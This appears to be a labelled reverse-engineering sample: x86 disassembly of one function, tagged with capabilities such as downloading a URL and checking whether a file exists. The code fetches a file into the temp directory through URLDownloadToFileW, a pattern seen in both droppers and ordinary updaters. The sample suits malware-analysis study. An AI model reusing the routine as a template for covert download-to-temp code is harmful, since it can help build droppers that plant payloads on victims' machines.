Function at 0x427011
Capabilities:
Check if file exists
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50975a
mov eax, dword fs:[0]
push eax
mov eax, 0x26ab8
call fcn.0044e6b0
mov eax, dword [0x55b008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x26ac4], edi
mov esi, 0x208
mov dword [ebp - 4], 1
push esi
lea eax, [ebp - 0x420]
push edi
push eax
call fcn.0042ce60
push esi
lea eax, [ebp - 0x218]
push edi
push eax
call fcn.0042ce60
push esi
lea eax, [ebp - 0x628]
push edi
push eax
call fcn.0042ce60
add esp, 0x24
lea eax, [ebp - 0x628]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x420]
push eax
call fcn.0042f955
cmp dword [ebp + 0x38], 8
lea eax, [ebp + 0x24]
cmovae eax, dword [ebp + 0x24]
push eax
lea eax, [ebp - 0x420]
push eax
call fcn.00432c14
lea eax, [ebp - 0x420]
push eax
call fcn.0042222e
xor eax, eax
mov dword [ebp - 0x62c], 7
add esp, 0x14
mov dword [ebp - 0x630], edi
mov word [ebp - 0x640], ax
cmp word [ebp - 0x218], ax
jne 0x42710f
mov eax, edi
jmp 0x42711c
lea eax, [ebp - 0x218]
push eax
call fcn.00432c45
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x640]
call fcn.00418960
push 0xffffffffffffffff
push edi
lea eax, [ebp + 0x24]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x640]
call fcn.00418df0
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x670]
push eax
call fcn.004235b8
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x42715f
mov eax, dword [eax]
push eax
lea eax, [ebp - 0xc88]
push eax
call fcn.00436c30
pop ecx
pop ecx
push edi
push 1
lea ecx, [ebp - 0x670]
call fcn.00417280
xor eax, eax
mov dword [ebp - 0x644], 7
mov dword [ebp - 0x648], edi
mov word [ebp - 0x658], ax
cmp word [ebp - 0x218], ax
jne 0x4271a2
mov eax, edi
jmp 0x4271af
lea eax, [ebp - 0x218]
push eax
call fcn.00432c45
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x658]
call fcn.00418960
lea eax, [ebp - 0x658]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x670]
push eax
call fcn.004235b8
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x4271e3
mov eax, dword [eax]
push eax
lea eax, [ebp - 0xa88]
push eax
call fcn.00436c30
pop ecx
pop ecx
push edi
push 1
lea ecx, [ebp - 0x670]
call fcn.00417280
push edi
push 1
lea ecx, [ebp - 0x658]
mov byte [ebp - 4], 2
call fcn.00418870
lea ecx, [ebp - 0x26ab8]
call fcn.0042a814
sub esp, 0x300
mov byte [ebp - 4], 4
mov edi, esp
lea esi, [ebp - 0xc88]
mov ecx, 0xc0
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x26ab8]
call fcn.0042a872
lea ecx, [ebp - 0x26ab8]
call fcn.0042b137
lea ecx, [ebp - 0x988]
call fcn.00426c83
lea ecx, [ebp - 0x26ab8]
call fcn.0042ae96
test eax, eax
je 0x427280
lea eax, [ebp - 0x988]
push eax
lea ecx, [ebp - 0x26ab8]
call fcn.0042ac18
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x26ab8]
call fcn.0042aea2
test eax, eax
je 0x427257
lea eax, [ebp - 0x988]
push eax
lea ecx, [ebp - 0x26ab8]
call fcn.0042ac18
movsd xmm0, qword [ebp - 0x678]
movsd xmm1, qword [ebp - 0x680]
ucomisd xmm0, xmm1
lahf
test ah, 0x44
jp 0x4272ff
ucomisd xmm0, qword [0x50b3e8]
lahf
test ah, 0x44
jnp 0x42731b
xor edi, edi
cmp dword [ebp - 0x62c], 8
lea eax, [ebp - 0x640]
cmovae eax, dword [ebp - 0x640]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, ebx
test eax, eax
jne 0x42740a
push 0x5561a8
call fcn.00418720
jmp 0x427416
ucomisd xmm0, qword [0x50b3e8]
lahf
test ah, 0x44
jnp 0x42731b
ucomisd xmm1, qword [0x50b3f0]
lahf
test ah, 0x44
jnp 0x4272c9
lea ecx, [ebp - 0x26ac0]
call fcn.00481640
xor eax, eax
mov byte [ebp - 4], 5
xor edi, edi
mov dword [ebp - 0x644], 7
mov dword [ebp - 0x648], edi
mov word [ebp - 0x658], ax
cmp word [ebp - 0x218], ax
je 0x42735b
lea eax, [ebp - 0x218]
push eax
call fcn.00432c45
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x658]
call fcn.00418960
cmp dword [ebp + 0x20], 8
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x670]
mov byte [ebp - 4], 6
cmovae eax, dword [ebp + 0xc]
push eax
call fcn.00418720
lea eax, [ebp - 0x658]
mov byte [ebp - 4], 7
push eax
lea eax, [ebp - 0x670]
push eax
lea ecx, [ebp - 0x26ac0]
call fcn.00481820
push edi
push 1
lea ecx, [ebp - 0x670]
movzx esi, al
call fcn.00418870
push edi
push 1
lea ecx, [ebp - 0x658]
call fcn.00418870
lea ecx, [ebp - 0x26ac0]
mov byte [ebp - 4], 4
call fcn.00481750
test esi, esi
jne 0x4272cb
cmp dword [ebp - 0x62c], 8
lea ecx, [ebp - 0x640]
push edi
cmovae ecx, dword [ebp - 0x640]
lea eax, [ebp + 0xc]
cmp dword [ebp + 0x20], 8
push edi
cmovae eax, dword [ebp + 0xc]
push ecx
push eax
push edi
call sub.urlmon.dll_URLDownloadToFileW
jmp 0x4272cb
lea eax, [ebp - 0x640]
push eax
call fcn.0041ae10
lea ecx, [ebp - 0x26ab8]
call fcn.0042a86d
push edi
push 1
lea ecx, [ebp - 0x640]
call fcn.00418870
push edi
push 1
lea ecx, [ebp + 0xc]
call fcn.00418870
push edi
push 1
lea ecx, [ebp + 0x24]
call fcn.00418870
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e191
mov esp, ebp
pop ebp
ret 0x34